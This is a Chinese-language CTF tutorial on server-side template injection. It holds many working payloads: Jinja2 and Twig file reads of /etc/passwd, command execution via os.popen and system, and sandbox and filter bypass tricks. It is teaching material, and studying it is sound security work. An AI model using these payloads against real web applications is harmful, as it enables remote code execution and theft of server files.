ctfweb-SSTI服务器模板注入


ctfweb-SSTI服务器模板注入

我的blog,欢迎来玩

概述

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。在这篇文章中,我将会攻击几个模板引擎来说明该类漏洞,并展示沙箱逃逸技术。

在考虑进行模板注入之前,我们需要进行漏洞探测

探测漏洞

1.文本类

大部分的模板语言支持我们输入 HTML,未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。

例如,考虑一个包含以下易受攻击的代码的模板:

render('Hello ' + username)

我们可以发送如下 payload:

{7*7}

或者通过请求URL来测试服务器端模板的注入:

/?username=${7*7}

如果结果输出包含Hello 49,则表明正在服务器端评估数学运算。这是服务器端模板注入漏洞的良好概念证明。

2.代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

/?greeting=data.username

在没有XSS的情况下,这通常会导致输出中出现空白条目(只是Hello没有用户名),编码标签或错误消息。

下一步是尝试使用通用模板语法突破该语句,并尝试在其后注入任意HTML:

/?greeting=data.username}}

如果再次导致错误或空白输出,则说明使用了错误的模板语言提供的语法,或者,如果没有模板样式的语法似乎有效,则无法进行服务器端模板注入。

或者,如果输出和任意HTML一起正确呈现,则表明存在服务器端模板注入漏洞:

Hello user01 

确认模板

一旦检测到模板注入潜力,下一步就是确定模板引擎。

尽管有大量的模板语言,但是其中许多模板使用非常相似的语法,而这些语法是专门为不与HTML字符冲突而选择的。

通常只需提交无效的语法就足够了,因为产生的错误消息将准确告诉您模板引擎是什么,有时甚至是哪个版本。例如,无效表达式<%=foobar%>从基于Ruby的ERB引擎触发以下响应:

(erb):1:in `
': undefined local variable or method `foobar' for main:Object (NameError) from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' from -e:4:in `
'

否则,需要手动测试特定于语言的不同有效负载,根据不同的运算值判断模板。常用的方法是使用来自不同模板引擎的语法注入任意数学运算。

ctfweb-SSTI服务器模板注入_第1张图片

这里的绿线表示结果成功返回,红线反之。

相同的有效负载有时可能会以一种以上的模板语言返回成功的响应。例如有效负载{{7*'7'}}在Twig中返回49,在Jinja2中返回7777777

漏洞利用

1.读文档

读模板文献是构造 exp 的第一步。一般来讲,我们需要关注如下部分:

  • ‘Template 使用手册’,这一部分通常告诉我们基本的模板语法
  • ‘安全问题’,在攻击模板时,它通常可以提供我们许多思路
  • 内建方法,函数,变量,过滤器
  • 插件/扩展——我们可以优先研究默认开启的

2.探环境

当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。

如果没有这样的对象或函数,我们需要暴力枚举变量名。

有些时候,开发者也会在模板中包含了一些敏感信息。不过这视情况而定,因此不在这里讨论。

3.黑程序

有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}

这时,我们只需递交:

<%
import os
x=os.popen('id').read()
%>
${x}

即可

但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。

常见模板

下图为常见模板结构

ctfweb-SSTI服务器模板注入_第2张图片

1.jinja2

常用函数
__dict__            保存类实例或对象实例的属性变量键值对字典
__class__           返回类型所属的对象(返回调用的参数类型)
__mro__             返回一个包含对象所继承的基类元组(返回类型列表),方法在解析时按照元组的顺序解析。
__bases__           返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__      每个新类都保留了子类的引用(返回object的子类),这个方法返回一个类中仍然可用的的引用的列表
__init__            类的初始化方法
__globals__         对包含函数全局变量的字典的引用
payload

获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可

''.__class__.__mro__[2].__subclasses__().index(file)
40

然后通过.read读取文件即可(py2)

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
payload总结

python2

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}                             //文件读取

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}              //文件读取

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}                                    

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}               //命令执行

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}                               //命令执行

python3

//命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
//文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

拼接查找目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

查找根目录

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

开头的都是class什么的,说明是python3 写的flask。因为py2写的话,开头的都是type。

python2下有file而在python3下已经没有了,所以是直接用open。

更详细的方法查看参考链接第五条 浅析SSTI(python沙盒绕过)

常见绕过

1.绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

2.过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&pat

3.过滤{ {或者} }

可以使用{ %绕过,
{ % % }中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

4.过滤_

用编码绕过

__class__ => \x5f\x5fclass\x5f\x5f

_ 是 \x5f,. 是 \x2E 如果也过滤了

可以用利用request.args属性

 {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

5.过滤.

.在payload中是很重要的,但是我们依旧可以采用attr()绕过
举例

url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}

使用attr()绕过:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

6.绕过config参数

{{config}}可以获取当前设置,如果题目类似

app.config ['FLAG'] = os.environ.pop('FLAG')

那可以直接访问

{{config['FLAG']}}   或者   {{config.FLAG}}

得到flag。但是如果被过滤了,则

{{self}} ⇒ 
{{self.__dict__._TemplateReference__context.config}} 

同样可以找到config

7.关键字过滤

base64编码绕过
__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}} 
//不对就加join

{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

2.smarty

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 $smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。

参考文章:ctf中smarty介绍与例题

smarty,应用比较少。

3.twig

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}   (cat /flag )

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

4.其他模板

参考链接 服务端模板注入攻击 - 知乎 (zhihu.com)

对各个模板有讲解

参考链接

服务端模板注入攻击 - 知乎 (zhihu.com)

细说服务器端模板注入(SSTI) - FreeBuf网络安全行业门户

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

从零学习flask模板注入

SSTI模板注入及绕过姿势(基于Python-Jinja2)

浅析SSTI(python沙盒绕过)

https://blog.csdn.net/qq_45521281/article/details/106639111

附:读者可辅助参考的文章

SSTI学习


END

你可能感兴趣的:(ctf,ctfweb,ssti,web)